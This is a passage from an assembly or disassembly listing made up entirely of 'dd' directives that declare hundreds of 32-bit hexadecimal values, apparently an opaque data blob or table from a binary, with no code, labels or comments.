		dd 0E9DAB19Ch, 13AC23C5h, 0EDB687F6h, 485F3317h, 41A5C66Eh
		dd 3CC0C5ABh, 104C5ED1h, 528B579Eh, 4420CD44h, 0DDF62E53h
		dd 971E2C34h, 0FC1C7466h, 57B044B5h, 944336B7h,	30A5AC4Fh
		dd 0C494EA1Dh, 4349F225h, 26809D50h, 5EA170CAh,	33B44479h
		dd 7C010648h, 3A23949Ah, 0BA506A05h, 28080114h,	0E1436E21h
		dd 0D9EE0344h, 1A6066DDh, 0BF3013F5h, 82FB05Bh,	0DC9BE916h
		dd 16B60531h, 68506480h, 53387B2Ch, 0D8055802h,	41ACC784h
		dd 406ACBABh, 3ED81ECh,	6C7D4217h, 33F9B6A2h, 26ADBCh
		dd 21FCB8AFh, 530248CAh, 9F73234Dh, 7C198A31h, 0A4226042h
		dd 14B2A12h, 9184DEBDh,	651BE971h, 3EF5401Fh, 7D0FCF19h
		dd 0DFD7295Eh, 0EC785050h, 89E75EF4h, 6D694D49h, 0CD2DE6h
		dd 7E1BBFB2h, 0FF21487Dh, 773AE707h, 5803984h, 2004761Ah
		dd 0AFB0123h, 9790FCE9h, 0D069A25Eh, 4FC5C0F7h,	76690323h
		dd 394A201h, 0DAE95808h, 457D930h, 0C3B55159h, 0D590DD8Dh
		dd 5BBE5CE9h, 0EDBE794h, 1FA51DF9h, 0A90DF64Ah,	8A546581h
		dd 84EF5570h, 0B688EB0h, 440B1CDCh, 28C2C880h, 0BB04F4E3h
		dd 148BD389h, 0E90AABCBh, 9DACEB5Eh, 0F13083C9h, 0E1E14966h
		dd 0BD1881B5h, 0DB408E3h, 9F2D1E58h, 2C89F938h,	1204AB9Dh
		dd 0D0CA0224h, 0C4DE92FBh, 1D2940D6h, 13B31BD3h, 5B7F317Bh
		dd 967BA1D1h, 0ACC4F1A9h, 52A25298h, 58290A6Dh,	1A5E08F3h
		dd 0F3835A0Eh, 3C8180D4h, 0E80552A1h, 0BBC95E63h, 8CBE0894h
		dd 35077C9h, 837298BDh,	0A74CD9EDh, 575A3884h, 0EF5CC9F4h
		dd 6BD12E5Bh, 0F0B96204h, 5258515Ah, 82125A0Fh,	685B3370h
		dd 303BED63h, 2459875h,	0CD814B00h, 168A55D9h, 0ED642DE9h
		dd 0FCF7FBE9h, 391FA685h, 0B97FB89h, 265FB27h, 59C67C04h
		dd 0C3A7E0ECh, 993B678Eh, 5257EE54h, 3178DF21h,	0B48A298Dh
		dd 6D133F1Ah, 1F615801h, 21003B50h, 2A0C67E4h, 845EF301h
		dd 6EAB83E8h, 1A8E3958h, 0D0DD45B7h, 2DD87ADCh,	0C81CD797h
		dd 2B9AE3FCh, 0B12D665Eh, 6BB430B2h, 5F76D6D0h,	0D396D35h
		dd 0E7191921h, 9ACA5038h, 1C770138h, 52CF68E9h,	874B5840h
		dd 86A0D1E2h, 28D7C580h, 5BCFD7E7h, 80D0EF8Bh, 0FDE3F562h
		dd 12D90AB3h, 56C08051h, 0B4149E68h, 108885C5h,	12CC649h
		dd 4042086Bh, 0C83B6602h, 2ADC39Ch, 0F12C2D45h,	117EF7DAh
		dd 0CC84C225h, 0DE9161Ah, 0C828E21Eh, 4DB59A14h, 0C007D504h
		dd 0D33B6134h, 0A7210B25h, 5F6367E9h, 0ADC3B02Eh, 176F0628h
		dd 305BDF31h, 1E79130Fh, 9AF2E01Fh, 0C025E172h,	265A670Ch
		dd 0D0BA31DFh, 4FA3FD4Ch, 0E90BDF8Bh, 877919FAh, 0E7B7EB45h
		dd 76837E55h, 455077F3h, 1455D3CAh, 0F1A2A058h,	92B88025h
		dd 47F45813h, 1209D08h,	144186BDh, 4DF22070h, 0B3A8282h
		dd 8F66011Dh, 105E6102h, 0C2895A8Fh, 80B6B09Dh,	8E44836Ah
		dd 6540E165h, 7DEE0BBEh, 0AEE84F82h, 0DDB22988h, 889D016h
		dd 3F7C0204h, 515638AAh, 5CE18937h, 4BA54A40h, 0CD7B37E9h
		dd 565638Fh, 288F2B50h,	0F93168E6h, 2AA58778h, 8980743Bh
		dd 258DFD73h, 0CE1E803Ch, 89C00C09h, 0EC4A1F2h,	8876B600h
		dd 505AF313h, 0E93CCECAh, 865DC1CAh, 105168D1h,	0B40BE784h
		dd 0C988665Dh, 0EFF10391h, 0A24D9F6h, 0A82ABFFEh, 0D88EC094h
		dd 80C7CA5Bh, 0D3284759h, 530F164Ch, 41FE7511h,	2C2F57BBh
		dd 0B0C02A29h, 8A0473E9h, 93F5A7F0h, 2E5E31DDh,	9210992h
		dd 0AE4D4170h, 0C96879F8h, 3C005B10h, 26383B21h, 8E9E07F8h
		dd 987B581Fh, 50EEC4Bh,	173F1881h, 42417835h, 0C1023A95h
		dd 0B30845Bh, 0B24CA4Fh, 9EC0AFD2h, 0CA29171Fh,	0F020193Dh
		dd 981F5877h, 6EC28113h
		dd 895DA31Fh, 0FE18C095h, 0EF803BCFh, 2EF748F3h, 0C796F831h
		dd 0F06803FDh, 9A611D14h, 64632ED6h, 5A510BC4h,	9753C18Bh
		dd 0FA2AE942h, 46E54888h, 1133144Fh, 2C23B10h, 0A9112EB9h
		dd 307E077h, 3C0BB20Ah,	6326C788h, 5778B054h, 0C6D2DE78h
		dd 586F1EAAh, 52851803h, 82B02C27h, 584DE9B6h, 59179875h
		dd 8E696BB1h, 64314D61h, 71406125h, 0B8DCFD29h,	88619349h
		dd 0ED97CA8Fh, 1C61DC99h, 8B9859ADh, 0B34F0F66h, 233B554Dh
		dd 1BD892Ah, 30C909C6h,	0F85B1FFAh, 1DC74A74h, 70F2E074h
		dd 12054E78h, 28D8D95h,	0EFC56F8Ah, 33A46127h, 60B3103h
		dd 0FAF4BCE9h, 81581CA6h, 637EC7EEh, 0BB94E22Fh, 927827C4h
		dd 26628349h, 49077FB8h, 86DF897Fh, 0EE6D34E6h,	723D1E36h
		dd 1548C97Ah, 869AE456h, 2C36548Fh, 0DF8047D1h,	0A3B46826h
		dd 0B606E09Ah, 5AF12059h, 0ECD07320h, 3A286FA4h, 24C2C32Ah
		dd 1FFF0833h, 0FFB5A997h, 70F09345h, 0D7B09DACh, 6881365Ch
		dd 588A6430h, 4712BD4Ch, 79D5DD41h, 20615E8Fh, 525061DCh
		dd 7429BAh, 7BB8270Eh, 3147193Fh, 0C43F0995h, 92E916BDh
		dd 3D39027h, 484A6F6Ch,	487A9BA0h, 0BD8473FBh, 36021DDEh
		dd 6BC2D586h, 6569C4Ch,	9F21CD39h, 1C5FFA27h, 255A480Fh
		dd 58116293h, 37004889h, 59A5BD55h, 45390300h, 0FC68DDF7h
		dd 266EA46Ah, 126C2218h, 0ED2BF009h, 0FDA65608h, 2934B4DFh
		dd 5C77E49Bh, 0D46271BEh, 0E5C00044h, 0B0075005h, 7BB7532Bh
		dd 0E903EF90h, 89FD4BD2h, 7C9CE1C3h, 925D28B1h,	97555E49h
		dd 0FE66948Ch, 69089FF1h, 0E4A08B3h, 0FED05C1Ah, 62EF597Ah
		dd 0F0C30235h, 622FF134h, 4EE6205h, 25EC5908h, 467591D6h
		dd 42765960h, 0CF48B269h, 0B4ECEEB5h, 0E5EA282Eh, 0C0C3B91Ah
		dd 3E092658h, 0F1273D9h, 41444522h, 7E6E2AFh, 2B0B7FA6h
		dd 981935C6h, 0BF1D3216h, 0AB60E725h, 3BB03C24h, 20FB7505h
		dd 0B0C42128h, 905BF9BDh, 81B951A9h, 67B27D0Eh,	0A24F0BE9h
		dd 0C0461A31h, 0F8E80107h, 0A383FDE2h, 4E6C166h, 6CFB81A4h
		dd 0C60A8746h, 1E3699Ah, 0FB8C24F5h, 539291h, 95201D1Dh
		dd 0EB6E897Ch, 39CE63E4h, 0DCC3CD80h, 2EF3C804h, 9A1077Fh
		dd 0CB5BD921h, 4246640Eh, 0BD9C78B7h, 921848C9h, 25772413h
		dd 0F5818049h, 6DBC754Fh, 16E5C124h, 0E4279E0Bh, 95AEEEB0h
		dd 2E539419h, 4AD7CC90h, 984650DDh, 997A2EE6h, 51203BB8h
		dd 7390F298h, 56AEF06h,	0F0C4CB2h, 6E55D04h, 7384CFE9h
		dd 58AEA3D6h, 0C944EBFh, 0F5879B06h, 44CE4806h,	8C8D13Dh
		dd 5BCB8F10h, 37BA2084h, 0C1FB9411h, 1107236h, 5BDC4E58h
		dd 0BCFA92EAh, 75EB46B6h, 22645D4Ah, 5C121CE7h,	19AFA4FEh
		dd 8A4085AAh, 0C873EB80h, 66480EEAh, 0E9750DB9h, 0BAC45877h
		dd 9F32E19h, 0B6E709B0h, 59F7EDA0h, 5B76FC28h, 8835EC06h
		dd 0B03E58E2h, 11D22555h, 0F524C5D9h, 0BE344110h, 0CEA9019Dh
		dd 3EF58955h, 5EE30Bh, 43566BB7h, 609536h, 827F1494h, 944295Dh
		dd 0D3CD015Eh, 9273A020h, 397EDDBCh, 0D238344Eh, 2CC896ACh
		dd 6D12DABDh, 180120E2h, 4E2C31D2h, 1F355730h, 11B430Eh
		dd 582EA6E5h, 0A724823Bh, 0DE686F1Eh, 5BED016Eh, 38455CC7h
		dd 0F9925FFh, 0DF1A0C0h, 986CB57Eh, 116202DCh, 0DEF75F82h
		dd 0D1B2DD82h, 0EC545002h, 49469CA2h, 3F51E10h,	36C79895h
		dd 496680FCh, 1B0B690h,	3112AD77h, 0BF4559CEh, 0CB856E7Ch
		dd 7FD0EA50h, 0C54E7BF0h, 5356EF70h, 1A690468h,	835B630Fh
		dd 0F5E6DBEh, 0A3642912h, 318848B8h, 13C73B95h,	0F387A668h
		dd 53E0CBA5h, 17F79059h, 0BE624EBh, 9DF89A92h, 0C7BF2095h
		dd 0E5148027h, 0D78AB3F9h, 27E04C01h, 6E60F5AFh, 0E0E96F9Ah
		dd 8110665Ch, 47D156BBh, 8414569h, 61A70C82h, 1A4137D5h
		dd 0A9CF74EFh, 0EBFBAC60h, 4A346D80h, 6F15A06Ch, 0FB20D14Eh
		dd 3E373DBAh, 93BE11C1h, 0EC639DCAh, 7A92E58Eh,	2C0AE74Ch
		dd 33960A7Eh, 5225FCA3h, 0F15CA805h, 0F130E483h, 5AC14FC0h
		dd 90BBFADCh, 84596F60h, 97292650h, 1FF4E128h, 5F074794h
		dd 0E482D389h, 28DE94AEh, 354C5468h, 0A9734CE5h, 66031614h
		dd 5B8938B2h, 31914BC6h, 0F63C8B42h, 3A45EB4Eh,	48095C89h
		dd 81ABFB40h, 58540189h, 9240BB20h, 68551CF2h, 6AD089A0h
		dd 3120675Ah, 22BA4F51h, 0D45616D2h, 18065416h,	5C55D7E3h
		dd 844BDFCAh, 3167BF68h, 346A68h, 53AC64D7h, 0EA70CD81h
		dd 6408332Fh, 52F50138h, 0E95BA15Fh, 380725AAh,	0D4BEA0AAh
		dd 322F2C40h, 48850367h, 0E6B0496Dh, 7D257FE2h,	0C0A24314h
		dd 41A46564h, 5BFAE452h, 7275AD5Fh, 0E9C298E8h,	1257BE97h
		dd 0AB80C263h, 48AA59ECh, 5FFEE3CBh, 25E9E909h,	0B17939h
		dd 0B45040B3h, 0F40180B7h, 0E9E33088h, 3BA60BE8h, 244249Dh
		dd 0A0D6C1B1h, 8F780F57h, 30EA61F2h, 0B8416A7Fh, 3850B850h
		dd 0B78758C2h, 0E0ED6598h, 1352BE81h, 5050F6F1h, 0C15A6BE9h
		dd 4179693Ch, 57BC43F6h, 0F3FC27C2h, 0D0195B1Ch, 0E76C5A33h
		dd 636828A2h, 0D9A1D830h, 0CAA91402h, 1AC6E90Bh, 0A4BC2651h
		dd 0C0AF20C3h, 82B22F80h, 0CCACA057h, 9F3E0D70h, 0ED602B8Eh
		dd 0B6DFE906h, 8E023391h, 7419963Bh, 0F089614Ah, 37492E5Eh
		dd 9C8AF0DDh, 0EB294497h, 13F4AF1Bh, 47AA6EBBh,	0D43FEA16h
		dd 393F869h, 959C821h, 0CAB6D2C2h, 1353E518h, 6675B45Ch
		dd 12161E9Fh, 314E0E68h, 0E8505260h, 8A091F61h,	7E97583Ch
		dd 48C04E79h, 75E09F35h, 0C289C313h, 4B7B54CAh,	943F34D6h
		dd 0AC29AFFEh, 0E939A172h, 4C7E688Eh, 12A253F3h, 420C0AFBh
		dd 379AADC2h, 0E1972455h, 7D872995h, 64D0CE74h,	5A9F840Fh
		dd 28F14B33h, 55529F91h, 0E64609DEh, 173C85D1h,	0F5E24AC7h
		dd 8712478h, 0C185960Fh, 5A9AB30h, 703DB082h, 99BE0332h
		dd 4639CD6Fh, 0E15E5616h, 0AFF18D2Dh, 915C1535h, 0CD584BC1h
		dd 4F3A63F8h, 4AF2298Ch, 7814F251h, 3958259h, 8AFED80h
		dd 0BBAE25E8h, 0EEB9C7EBh, 1283F57h, 310D4059h,	0D764FA72h
		dd 28C24F08h, 445609CEh, 84DED669h, 0CC48EE68h,	144FE9FFh
		dd 72AD7713h, 0C8D783CEh, 0E8672700h, 0D921CB55h, 59C60768h
		dd 464C81EBh, 304A5FDBh, 6509CE53h, 542949E2h, 0AED98092h
		dd 0D1314BB4h, 1D9FF6C6h, 54F302D5h, 9B88BB2h, 6A612CE2h
		dd 4E5901D1h, 2EEBA70h,	0F5E7CD72h, 5FF289h, 4B0DEF05h
		dd 12D3900Fh, 4992E905h, 9BD95DAFh, 0C0C25045h,	619B5F63h
		dd 362F3FC9h, 149D2EF1h, 0DE875007h, 7AE022Bh, 4CCC4658h
		dd 313AA1C1h, 0E4A5347Dh, 0A3CFFCA2h, 7E9E0556h, 882BD332h
		dd 0CD128632h, 290CD42Ch, 37E82B5Ah, 0C2AF5966h, 49072EA1h
		dd 0A03D0F62h, 0E81DF58Eh, 0C8CF4EF7h, 0DF7D0166h, 30C8EF00h
		dd 835B3920h, 31025FC7h, 3AF1F6AFh, 68CC4A01h, 9E3847FBh
		dd 85C113C9h, 0F75FF429h, 0C604DB6Ch, 0E8A51817h, 1994602Eh
		dd 71020C32h, 0D10889C7h, 0FA0BA7F9h, 8AA0ECCCh, 7A011B99h
		dd 640DBB1Eh, 0D13A0C91h, 2FCB7F66h, 6814BB90h,	4A667BDFh
		dd 0C1CDC03Ah, 0F70002E2h, 85CA81D2h, 90750319h, 999B0920h
		dd 8704FD6Bh, 0D0F60128h, 0E740E0C0h, 0FC4134EDh, 0CA0E4F54h
		dd 89382D7Ch, 0DB52336Eh, 32755E2Ah, 2E5FD21Ah,	98A74941h
		dd 933A2845h, 0C250077h, 0E2815E3Fh, 0FD173905h, 0DCC4E974h
		dd 52269EF2h
		dd 0E3C51382h, 769D9FFDh, 7FFDB020h, 0F658989Dh, 5F00B7BFh
		dd 0D5F6CDFEh, 1BC58000h, 5259EE88h, 51663BB2h,	0D93DD1BFh
		dd 8005DCD8h, 81FEE8C2h, 7B12E21Bh, 22399931h, 0BB420102h
		dd 0B304158h, 0BCF6791Ah, 30DB2C7Ch, 21470E6Eh,	9E0C43CCh
		dd 7CAD263Ch, 1852CE05h, 0EC071C03h, 4F614D8Fh,	0F7E8E0C1h
		dd 92D02D8h, 31CA85FAh,	5E96A477h, 80F41FAAh, 4A8655AFh
		dd 550D801h, 222DE907h,	0CA871B40h, 2E985020h, 256D315Bh
		dd 3EEFF168h, 42250A26h, 2C12CA10h, 68426082h, 0ADA655EDh
		dd 0C039B516h, 0DDF6DE05h, 48A2A410h, 4B6E39E7h, 297B9889h
		dd 81643EBEh, 5ABD4581h, 5384BA2Ch, 0DFF7CCBBh,	6FCF5B4Ah
		dd 40627550h, 0A8B25FBAh, 68621691h, 25B25CC4h,	700BCA45h
		dd 969BD9AAh, 0DCB1745Eh, 0A65D45AAh, 0F389DEC5h, 58445617h
		dd 2AEDEB83h, 0DAE93661h, 7AE64B65h, 9654F07Bh,	0DC7E1CD5h
		dd 814D401Ch, 8F0A33EDh, 0D53EF7FEh, 0BB1F27E9h, 0A447DA24h
		dd 9C81B8E7h, 16211D43h, 22B6DF1h, 4BF168C4h, 52274A6Ch
		dd 2CEEDA09h, 40AFD303h, 467F57DDh, 0C70905FFh,	7AD68056h
		dd 3D01556Fh, 0D98F5EF1h, 0CAE3E981h, 0ECAAB1FAh, 1B3DE17Ch
		dd 750AA5B8h, 280D01C8h, 8BE82939h, 213672Ch, 0EA03A62Dh
		dd 0C7845E41h, 5F12B8F0h, 9FB2F0ECh, 4C251E76h,	5E818248h
		dd 0F92A6F60h, 0E8D2BC89h, 50B85D2Ch, 0A727E902h, 0F342C826h
		dd 0BB0E0BB5h, 22B8CB01h, 95BD5860h, 93E9069Fh,	0F3391D0Ah
		dd 0C9098741h, 48D6DE89h, 17879991h, 881981C7h,	0B4C241E3h
		dd 2D6600E1h, 685C091Dh, 0B31B0DC9h, 433AB9E0h,	0DC6030E9h
		dd 0C57363Dh, 14031BBFh, 25C930EFh, 1D9DCF0Ah, 0F7F847FCh
		dd 0C714DF63h, 1A285F5Eh, 6CF80871h, 1E2D120h, 1C2DF801h
		dd 2E3F230Dh, 0C64C66CAh, 0D0F70601h, 0F013CD35h, 0D8040566h
		dd 1209ADDh, 5EF545D0h,	5DEB0121h, 850FDB09h, 5573244Ch
		dd 0B9045275h, 3EC54E6Ah, 774F2BF4h, 18257E19h,	8DB6A9E9h
		dd 560157EAh, 5C463368h, 29705E21h, 9DD3B208h, 5ED9A90Bh
		dd 0C82CE962h, 945E5B1Ch, 6CA56FA0h, 0DA59B2A4h, 579475EAh
		dd 16D594B5h, 0E347C168h, 4E971ABh, 1B252AFh, 0EBBE7757h
		dd 9ADC208Fh, 0C170B09h, 8009F029h, 5F895B08h, 214831EFh
		dd 4A447FF9h, 7FF9FA6Dh, 90CCC4Ah, 10E5C849h, 56C9262Eh
		dd 45FAFAFEh, 1896A4B5h, 5FF8455Bh, 56ED429Fh, 0DE0BE995h
		dd 0BD744389h, 52A6F281h, 706567F9h, 0E7B4913Ah, 146E23B7h
		dd 27B8DC88h, 0C2676834h, 11121733h, 6380B19h, 69F43683h
		dd 3A637DB2h, 0B7390485h, 885801D4h, 0D0E5870Ch, 779B538h
		dd 0E3C0CBFEh, 80C35003h, 427CCF3h, 2E7BF082h, 6906FCA9h
		dd 0FADFA90h, 86824A81h, 0B99CB7CFh, 6804B0FEh,	74E865AEh
		dd 0B1D8E892h, 8A38215Dh, 40FAE982h, 0B945AF4h,	0D4100BEh
		dd 77380A9Dh, 919248h, 7B0807E2h, 59800540h, 500CB109h
		dd 95A36C5Bh, 3D085C4Dh, 0F834034Eh, 0ECF9F02Ch, 2E426202h
		dd 0D51E45B2h, 0C5285A05h, 4125E6F9h, 95B72A58h, 9FBE3033h
		dd 4803051Ch, 0AD107735h, 0F391BF33h, 0DE308457h, 85132E03h
		dd 0C3E50149h, 6C68961Dh, 0FD7B09BBh, 2795FE19h, 81A13FE1h
		dd 1240BB7Bh, 7A3C2187h, 0CE90049Fh, 18D5ACECh,	0F85EF329h
		dd 98747A45h, 5C7D020Ah, 0CD317294h, 2C504962h,	0A8B2594Fh
		dd 68F79892h, 0E1D1C34Eh, 0AB2C2FE2h, 0A4E5A8B4h, 0FD05C1CCh
		dd 28308C6Ah, 315CB192h, 58A660A6h, 0C1513B6Dh,	947E1252h
		dd 0C2CDD809h, 5FB6283Eh, 4FDB7020h, 0E99F13D8h, 68558189h
		dd 449D3EBBh, 0DCA530h,	8177E453h, 5B1ED8F6h, 70DF1348h
		dd 9B40B316h, 743B00E1h, 0CBB1C780h, 8F49836Eh,	1BA130D3h
		dd 1F66F9F2h, 1D427557h, 2548673Ah, 0FB049550h,	5AD001C8h
		dd 0C0CE1DA1h, 4D0968E6h, 0CD80743Eh, 0E9217376h, 0E6A82F2Dh
		dd 0A65C4BF6h, 20C99F3h, 0F24F653Eh, 0E95381DEh, 0FB68CF0Dh
		dd 1FD968E0h, 8B39B21Eh, 8549892Eh, 0AA41E3D2h,	32227938h
		dd 0A13C9078h, 0E135A316h, 3ED3005Fh, 6C5FD81Ch, 0CC3CB4C3h
		dd 0E6C15A01h, 96B44003h, 9F0B530Ch, 585EF231h,	0D1215AF3h
		dd 2A79E9CBh, 0A2EAD743h, 0DA789330h, 9FF0F858h, 2720FC66h
		dd 31D6982Ah, 3A175F86h, 105B3D30h, 7350B9CBh, 0B46D1290h
		dd 0A6020112h, 835F785Bh, 841C5890h, 8A22D25h, 7F336BA0h
		dd 789E50FCh, 65217E00h, 6705E0C1h, 53020840h, 7DCA0E52h
		dd 914CE7ACh, 3092F00Ah, 5702ED21h, 0E9B039E9h,	77EC533h
		dd 745058F9h, 0E756EFF8h, 0B246E08h, 4545C501h,	1011FB27h
		dd 30C745F5h, 3E5FC7DAh, 75688A20h, 9D84A921h, 6EB78F51h
		dd 95BFDC0h, 6659E830h,	0B447BC85h, 6417B51Bh, 39A0CCE9h
		dd 0D6EFC05h, 0D82913ADh, 0E908007Ch, 0EBB5370Fh, 6A4B9BBh
		dd 5F24902Bh, 1B4E8C2Eh, 1EF7D1A4h, 654A1056h, 4E7BB078h
		dd 3D3EE50h, 5B977591h,	4BD742Ch, 0FD4CA599h, 58218331h
		dd 0C2013307h, 5641BF57h, 403B2D6Dh, 62488823h,	352CE99Ah
		dd 9458A12Ch, 1C29256h,	0B15159B6h, 3CCE3063h, 0EB80A09Ah
		dd 0EAF3E0D0h, 74E9EAC3h, 81C49D7Ah, 9E275579h,	588FD158h
		dd 0DA5ADEE9h, 153079D0h, 9510501Fh, 1619E8A7h,	42DBE97Eh
		dd 7E5C1F9h, 504B9E40h,	7015BD2Dh, 96BF0454h, 0C5B60622h
		dd 1280B920h, 48ED70E9h, 605D1F11h, 0BE6656CCh,	620E7D86h
		dd 0B3E95D4Ah, 0D10EF5D4h, 92C6EAE1h, 68507FA6h, 3375626Ch
		dd 6B96220Ah, 0D961984h, 685BDAC0h, 8C765CCCh, 0D4A3E3D2h
		dd 0AEE91280h, 5B66D841h, 0D8E5352Ch, 71EFB754h, 893ED24Bh
		dd 6823C89Bh, 0B9B5DE99h, 0D1FE9737h, 49F39C2h,	59AB5EBFh
		dd 32681330h, 0F05B258Fh, 0A10702FBh, 3ED6E96Dh, 0D9433B7Fh
		dd 796DBBF8h, 7F9B40D7h, 13BB229h, 0D7346EF1h, 90580C09h
		dd 9F384267h, 0B62A34C6h, 0F2F5CC3h, 1BA425C8h,	2873FEB1h
		dd 0AABE9C2h, 9060B09Ah, 0C73F1A36h, 0F7DF2E12h, 0B5F622ADh
		dd 8359049Eh, 67F864E2h, 55FA4E73h, 48905C4Ah, 2DDF1097h
		dd 2B895D37h, 7F0285DEh, 42FE4107h, 96915544h, 2271DA09h
		dd 0BA26FC49h, 0AC873E00h, 59C83138h, 3AB9B0BFh, 0C15C80EBh
		dd 240EE831h, 36D16850h, 0C9EFEE51h, 4954647Ah,	0C4DB5B99h
		dd 464408h, 0F07D68BFh,	0DF48F727h, 53D61DADh, 42080113h
		dd 7C070305h, 90FF2ABBh, 2C770295h, 470BE92Eh, 0EC8EE8C9h
		dd 9FD482FDh, 81A5A408h, 8227D9C6h, 29C26A25h, 580885EEh
		dd 3D12D265h, 21CC0E54h, 2596BE0Ch, 82BC96A0h, 669DE72Dh
		dd 5B019869h, 0C446B2C0h, 39FF144Fh, 0D95C0190h, 5CDC2A47h
		dd 676795BBh, 0B2953417h, 44853491h, 0A05F06C8h, 2E6B81C6h
		dd 274C4F58h, 9A5DDC5h,	0AA460155h, 0C320557Eh,	31AE409Dh
		dd 0E849D294h, 0CB108852h, 80E2E5C7h, 7360CDDh,	1C03F83h
		dd 95FB6E19h, 7E45040Ch, 5740C2C0h, 87A27EBFh, 64F1FAF7h
		dd 84D877D6h, 122CFEE6h, 70553880h, 410FED0h, 0E954B550h
		dd 2A31A1D7h, 2E12678Ah, 22D46145h, 1BCD2F0Ch, 97523760h
		dd 8F111665h, 0A6E91562h, 5B6565DCh, 6F29A161h,	48525DE8h
		dd 3D4F8668h, 35B20C4h,	3A29CB41h, 85774B79h, 0C2B8B184h
		dd 16817889h, 2F87FE29h, 0EC172640h, 1F01EAD6h,	2D19E9FDh
		dd 0BA88D959h, 292D0249h, 1F60FB59h, 6082027Ch,	26351157h
		dd 9D37B75h, 0F4F45A87h
		dd 5EA86962h, 35715105h, 0ECC8044Ch, 2F8D5B8Bh,	6ED28D2Ah
		dd 37FBD384h, 9988312h,	0E388F714h, 29AD93B8h, 0E4605027h
		dd 3139D5F7h, 8FD36EFh,	95470BE8h, 0EBC057B6h, 7698C301h
		dd 0E46A80Fh, 0E9F30223h, 9F85F0FCh, 0E9855867h, 27BFD2B1h
		dd 91AC847Bh, 38C8B36Ah, 245C12A5h, 9D810664h, 292F1CA7h
		dd 0AC1D7F2Ah, 0C24B2EA8h, 0D3EF0D4Bh, 1855A91Dh, 542D1902h
		dd 75EA213Ch, 9D0B0801h, 5F8014Fh, 0CEC40744h, 0D35C9646h
		dd 20F5903Eh, 2DF59BC0h, 1990E407h, 0CB45051h, 3107E9B1h
		dd 0EEAC32Bh, 0CA5A8027h, 0C080CE2h, 663C0B05h,	0DD715919h
		dd 0FD6088A8h, 5D33EDDDh, 5A501585h, 40516957h,	57288431h
		dd 2853E9B0h, 301B81D3h, 15E6D903h, 0EC5916A5h,	4ACE895h
		dd 15F2086Eh, 12C7F1C8h, 183C0E74h, 37D52089h, 0BD1C6900h
		dd 7354D688h, 5FFD1329h, 0F8958031h, 1B4AE4E9h,	4254C3B3h
		dd 81EB623Fh, 18459B19h, 92B3D125h, 0C1B7EC5Ch,	9F68F9F7h
		dd 0B00D352Bh, 9A4FF550h, 3E174CC8h, 2FFCE452h,	3B291F8Bh
		dd 80DF6A91h, 74B42D2Dh, 602962C2h, 254DD2C8h, 0ECC10C75h
		dd 51065C95h, 0E703B229h, 74CA14F0h, 46BD90FFh,	85B06C83h
		dd 0DB1B7E0Ch, 14B5362Eh, 0F8B2E2B8h, 59513F20h, 362449B3h
		dd 76552E62h, 6B5EA10Eh, 20396346h, 8090506h, 744C7FE9h
		dd 0CC48A78h, 0C3BA837Bh, 1E1DA4Eh, 0B7E53CD1h,	0A3ADD3h
		dd 0BB5346E8h, 447C796Ah, 5B5B7F8h, 36A85DD8h, 0B91D74B3h
		dd 0C3D5F101h, 4F444CB6h, 5C535B22h, 71512F86h,	0C93B5669h
		dd 3D200F4Ch, 0E62D0546h, 0F1152B4Fh, 590707DCh, 305B9291h
		dd 10283964h, 0ED05BF6Ch, 5E406E2Dh, 742741ABh,	701B3A4Dh
		dd 2F1784A1h, 0AB0C4944h, 16AD2E03h, 0A014A851h, 0C741B21Bh
		dd 41A4A230h, 0CD4020C0h, 0DB4052B0h, 6E5C01B9h, 0F1810A72h
		dd 1918D447h, 1709E9ECh, 9136A1Ch, 0D3FADED7h, 44AF34B4h
		dd 16D4DE1Eh, 90662868h, 7194BF69h, 0E5C9049Fh,	73CBAC0Eh
		dd 0EC799729h, 0E9C20DB4h, 44A9D13Eh, 0E8EEC89h, 4FC18851h
		dd 0AF1046CEh, 60B90615h, 0E05AAB14h, 0A12DCF0Ch, 1372F835h
		dd 0A42A6BE1h, 0E380DAD9h, 0F623007h, 926B910Ch, 0E65B2E2Dh
		dd 820DD236h, 9F5E873Ah, 5A64E551h, 76681353h, 0A6E63478h
		dd 0EC5C2C6Dh, 3B8E888h, 0EF34B3B0h, 0D8F64CD8h, 2CC0FE03h
		dd 1C5887Bh, 2099B660h,	2F79E9F5h, 0ADB53C00h, 3A28512Ch
		dd 593904E8h, 83108B5h,	29094EA3h, 0DCE409C7h, 4B1C4246h
		dd 0B2E952FEh, 0E66E4A2Fh, 0B0F3BE63h, 0C201B212h, 0AF5D1628h
		dd 0B4760782h, 5B3EDE2Ch, 680942E3h, 77541442h,	56069A60h
		dd 44350431h, 0C83D2C05h, 209E008h, 0E216E940h,	270877D4h
		dd 1E23029Bh, 14C10E8Eh, 5B590801h, 0CCF3C90Ch,	0D26DF7D6h
		dd 95291308h, 34306D41h, 738D09F1h, 36F62783h, 0DD11E058h
		dd 0F49D932Bh, 95A0CD97h, 0F2573F3h, 2841B311h,	9523029Eh
		dd 0A1ED6400h, 1448273Fh, 5B312007h, 0DA5DD85Fh, 20F94CB7h
		dd 555B5184h, 5409742Bh, 0C0ABE9h, 25B50A8Bh, 85F1CEFBh
		dd 4B58B168h, 0EC28BFE4h, 334EE9h, 3256B879h, 0D2F576DEh
		dd 0D196B0D0h, 0DA4268A6h, 0AD1A752Bh, 0E950FD54h, 0F2E44E8Ch
		dd 4FB859C6h, 0E9152C9Ah, 0A15ABBAAh, 83B323DCh, 0F29E7E9h
		dd 951E2CDh, 70150B76h,	1B9D93F8h, 0F70D13EAh, 5B5245D7h
		dd 8336C2C1h, 6B681E41h, 0BD108824h, 0CF0B7FD8h, 5E7D810h
		dd 0D2202053h, 121831F8h, 0D0E511E9h, 0B0768A2h, 0F34A0896h
		dd 5014CD02h, 92AE4067h, 658A949Ch, 13FBC53h, 224548Ah
		dd 8815C88h, 0D2F65B66h, 0AFDD5186h, 50F72D4h, 0FF828CDh
		dd 0D48F7887h, 7A1C6008h, 544FE240h, 0B450AF5Ah, 475FA19h
		dd 15E1E237h, 506FBE1Dh, 0C23BD38h, 0E99A1BABh,	4FA15A28h
		dd 0ADBD5359h, 8068018Dh, 5F550F78h, 0BDC60370h, 7C4C7592h
		dd 0E9DF2909h, 525F7C71h, 31180340h, 6368C80Bh,	0CAD53066h
		dd 2F588149h, 205BD402h, 10E57AD0h, 3B1991E9h, 1D671757h
		dd 91D34AACh, 269659E0h, 37317969h, 2C587A7h, 6604B127h
		dd 0FE364468h, 58B3BA47h, 8D2587D9h, 966ED807h,	0E07AA4ECh
		dd 0EBC583E8h, 77CDAE22h, 373A13A0h, 34ED75F7h,	30058DA0h
		dd 5582BE2h, 0C4A00613h, 0A801005Ah, 0C1D5F742h, 514808E5h
